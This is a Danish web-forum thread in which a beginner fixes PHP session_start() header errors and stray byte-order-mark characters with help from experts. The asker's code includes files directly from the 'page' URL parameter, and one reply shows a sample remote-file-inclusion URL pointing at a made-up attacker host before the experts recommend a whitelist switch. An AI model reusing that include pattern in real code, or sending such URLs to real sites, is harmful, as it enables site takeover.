Avatar billede tanis13 Nybegynder
27. august 2007 - 15:05 Der er 36 kommentarer og
1 løsning

Session problemer, gemmes ikke

Hej Eksperter

Fornylig er der opstået et problem med min hjemmeside:

Jeg har indført

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

og

<meta http-equiv="Content-Language" content="da">
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">

til min hjemmeside.
Efter at have indført dette til alle mine sider som bliver includeret i index.php via:

if ($_GET['page']) {
  include "pages/".$_GET['page'] . "";
}

er der opstået en fejl med sessions.

Således giver min side mig en fejl:

Warning: session_start() [function.session-start]: Cannot send session cookie - headers already sent by (output started at .../httpd.www/index.php:2) in .../httpd.www/index.php on line 3

Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at .../httpd.www/index.php:2) in .../httpd.www/index.php on line 3

ved at jeg har session_start(); i toppen af index.php.

Ligeledes gemmes mine sessions ikke længere end ét klik væk, hvor linket includes i index.php, så lige så snart jeg har oprettet en session og den vises, så forsvinder session igen efter at have klikket på et nyt link på min side, hvor det pågældende session skulle være aktivt.

Håber jeg har beskrevet mit problem grundigt, ellers kan jeg forsøge at give noget kode eller lign. som kunne hjælpe.


Mvh Thomas
Avatar billede michael_stim Ekspert
27. august 2007 - 15:11 #1
Pröv evt at fjerne enter.

Altså:
<?php
session_start();

istedet for:
<?php

session_start();
Avatar billede jakobdo Ekspert
27. august 2007 - 15:18 #2
Uden for emnet:
Det er farligt at du bruger:

if ($_GET['page']) {
  include "pages/".$_GET['page'] . "";
}

Det kan i værste fald giver en bruger fuld adgang til din hjemmeside.
Avatar billede erikjacobsen Ekspert
27. august 2007 - 15:21 #3
Læg mærke til hvad jakobdo skriver  - han har helt ret!

Jeg tror du har

<!DOCTYPE HTML ...
<?php
  session_start();
...

men du skal have

<?php
  session_start();
?>
<!DOCTYPE HTML ...
Avatar billede olebole Juniormester
27. august 2007 - 15:22 #4
<ole>

session_start() skal stå et sted i dokumentet, før der er outputtet så meget som en eneste tom linje til browseren  ;o)

/mvh
</bole>
Avatar billede tanis13 Nybegynder
27. august 2007 - 15:25 #5
Dum kan man være nogen gange :) session_start skulle bare stå før doctype :)
Tusind tak.

Ang include -> før den includer, så bruger jeg:

if ($_SESSION['auth'] == 1) {

i det includede .php.

Vil det ik være sikkert nok ?
Avatar billede jakobdo Ekspert
27. august 2007 - 15:34 #6
Overhovedet ikke.
Forstil dig følgende:

http://www.dinside.dk/index.php?page=http://www.H@X0r.dk/crap.txt&
Så er din side hacket.
Avatar billede erikjacobsen Ekspert
27. august 2007 - 15:42 #7
Nu bliver den sat sammen med "pages/" først, så det er lidt mere besværligt. Man ser jakobdos derude - det er et hul på størrelse med http://science.slashdot.org/article.pl?sid=07/08/24/046252 - det er sværere i dit tilfælde, men stadig et hul.
Avatar billede tanis13 Nybegynder
27. august 2007 - 16:02 #8
Høhø :)

Hva ville i bruge istedet?

Det ville måske være bedst, slet ikke at bruge include ? Og bare oprette de enkelte sider?
Avatar billede jakobdo Ekspert
27. august 2007 - 16:06 #9
Jeg laver altid:
switch($_GET['page'])
{
case 'forside':
require('./pages/forside.php');
break;
case 'kontakt':
require('./pages/min_kontakt_formular.php');
break;
}

På den måde styrer du selv alt.
Der er ingen som kan få din kode til at inkludere noget skidt andre steder fra.
Avatar billede tanis13 Nybegynder
27. august 2007 - 16:18 #10
Det kunne da være man skulle prøve det.

Hva hvis $_GET['page'] er empty ?
Avatar billede jakobdo Ekspert
27. august 2007 - 16:29 #11
Glemte lige default:

switch($_GET['page'])
{
case 'forside':
require('./pages/forside.php');
break;
case 'kontakt':
require('./pages/min_kontakt_formular.php');
break;
default:
require('./pages/standard.php');
}
Avatar billede tanis13 Nybegynder
27. august 2007 - 16:31 #12
=) oki

Det tror jeg så jeg vil gå igang med - tusind tak for hjælpen :)
Avatar billede tanis13 Nybegynder
27. august 2007 - 16:34 #13
Har forresten lige et spørgsmål:

Hvorfor skriver min side "" oppe i venstre hjørne ?
Avatar billede jakobdo Ekspert
27. august 2007 - 16:35 #14
Det skyldes garanteret: UTF-8 BOM
Hvilken editor bruger du?
Avatar billede tanis13 Nybegynder
27. august 2007 - 16:38 #15
SharePoint i Officepakken/PSPad

Har sat:
<meta http-equiv="Content-Language" content="da">
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">

ind efter <head>
Avatar billede olebole Juniormester
27. august 2007 - 17:32 #16
Åben dit HTML-dokument i Notesblok. Vælg 'Gem som...' og se forneden, om dokumentet er gemt som ANSI eller utf-8.

Gå også til:
    http://validator.w3.org/#validate_by_uri+with_options

- sæt hak i 'Verbose Output' - tast URL'en til din side i feltet og tryk 'Check'. Så kan du se, hvilket tegnsæt din side serves med.
Avatar billede tanis13 Nybegynder
28. august 2007 - 16:33 #17
Når jeg gemmer via NotePad står der ANSI..

På validator.w3.org giver den mig bl.a.:
Content-Type:    text/html
Encoding:     iso-8859-1

Nogen ide?
Avatar billede erikjacobsen Ekspert
28. august 2007 - 16:57 #18
De tre tegn er kommet pga noget UTF-8 undervejs - du fjerner dem bare igen med en vilkårlig editor.
Avatar billede tanis13 Nybegynder
28. august 2007 - 17:05 #19
Hmmm. Kan umiddelbart ikke fjerne dem - prøved med PSPad og NotePad, men er det noget JEG skal fjerne, eller er det noget format eller ?
Avatar billede jakobdo Ekspert
28. august 2007 - 20:34 #20
Åben filen i pspad!
Tryk CTRL + A
Tryk CTRL + C
Åben notepad
Tryk CTRL + V
Og gem filen.
Det burde gemme uden BOM UTF8
Avatar billede tanis13 Nybegynder
28. august 2007 - 20:51 #21
Den viser stadig "" oppe i venstre hjørne efter jeg har kopiret det over i Notepad og  gemt.. Den skal encodes som ANSI ?

Kan forresten ikke få require til at virke heller:

                                                <?
                                                    switch($_GET['page']) {
                                                        case 'frontpage':
                                                        require('./pages/frontpage.php');
                                                        break;
                                                        case 'archive':
                                                        require('./pages/archive.php');
                                                        break;
                                                        default:
                                                        require('./pages/frontpage.php');
                                                    }                                                   
                                                ?>
Avatar billede jakobdo Ekspert
28. august 2007 - 21:04 #22
Det ser ellers ok ud!
Kan det være andre filer som har de der tegn stående i toppen?
Avatar billede tanis13 Nybegynder
28. august 2007 - 21:08 #23
Ikke umiddelbart hva jeg skulle mene, skal jeg prøve at poste min sourcecode? (isåfald hvor kan jeg.)
Avatar billede jakobdo Ekspert
28. august 2007 - 21:15 #24
Det hjælper ikke på de mærkelige tegn der.
Avatar billede tanis13 Nybegynder
28. august 2007 - 21:23 #25
Hmmm...

Hvor kan problemet så ligge?
Avatar billede tanis13 Nybegynder
28. august 2007 - 21:36 #26
Ang require -> hvor kan fejlen ligge?

Warning: require() [function.require]: Unable to access ./pages/frontpage.php in .../httpd.www/atr/index.php on line 115

Warning: require(./pages/frontpage.php) [function.require]: failed to open stream: No such file or directory in .../httpd.www/atr/index.php on line 115

Fatal error: require() [function.require]: Failed opening required './pages/frontpage.php' (include_path='.:') in .../httpd.www/atr/index.php on line 115
Avatar billede jakobdo Ekspert
28. august 2007 - 21:55 #27
Fejlen siger den ikke kan findes filerne.
Hvis du har din fil, er de filer som så indlæses placeret i:
mappen: pages
filnavnene: frontpage.php
osv...?
Avatar billede tanis13 Nybegynder
28. august 2007 - 22:17 #28
hmmm fundet fejlen der..

men irritere mig ang de tegn =|
Avatar billede tanis13 Nybegynder
28. august 2007 - 23:10 #29
Stadig i nærheden :) ?

Har fundet ud af det har noget med
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

og

<meta http-equiv="Content-Language" content="da">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">

at gøre - men fjerner jeg dette, giver den mig en session-fejl:
Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at .../httpd.www/atr/index.php:1) in .../httpd.www/atr/index.php on line 2

Hvor kan fejlen ligge her ?
Avatar billede tanis13 Nybegynder
28. august 2007 - 23:40 #30
Tror det er
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">

For lige så snart jeg ændre den til noget andet - ændrer disse tegn sig og ved UTF-8, forsvinder de helt - men der kan jeg ik bruge æøå...
Avatar billede jakobdo Ekspert
29. august 2007 - 07:44 #31
Du husker at skrive ÆØÅ som htmlentities?
http://www.htmlentities.com/html/entities/
Avatar billede tanis13 Nybegynder
29. august 2007 - 19:54 #32
De bliver hentet fra sqldatabase.
Avatar billede jakobdo Ekspert
29. august 2007 - 19:58 #33
Jamen så er alt jo ok.
Avatar billede tanis13 Nybegynder
29. august 2007 - 20:16 #34
Ikke helt :) stadig de tegn oppe i venstre hjørne..
Avatar billede tanis13 Nybegynder
29. august 2007 - 21:32 #35
Fundet fejlen - den sker lige så snart du includer -> så skulle have en <html mm ...> i min config.php..
Avatar billede tanis13 Nybegynder
05. oktober 2011 - 11:29 #36
Hej eksperter.

Følger op på nogle af mine tidligere usvaret tråde, hvis i stadig abonnerer på disse, må i gerne smide et svar så i kan få point.

Mvh
Avatar billede tanis13 Nybegynder
13. oktober 2011 - 09:04 #37
Lukket.
Avatar billede Ny bruger Nybegynder

Din løsning...

Tilladte BB-code-tags: [b]fed[/b] [i]kursiv[/i] [u]understreget[/u] Web- og emailadresser omdannes automatisk til links. Der sættes "nofollow" på alle links.

Loading billede Opret Preview
Kategori
Vi tilbyder markedets bedste kurser inden for webudvikling

Log ind eller opret profil

Hov!

For at kunne deltage på Computerworld Eksperten skal du være logget ind.

Det er heldigvis nemt at oprette en bruger: Det tager to minutter og du kan vælge at bruge enten e-mail, Facebook eller Google som login.

Du kan også logge ind via nedenstående tjenester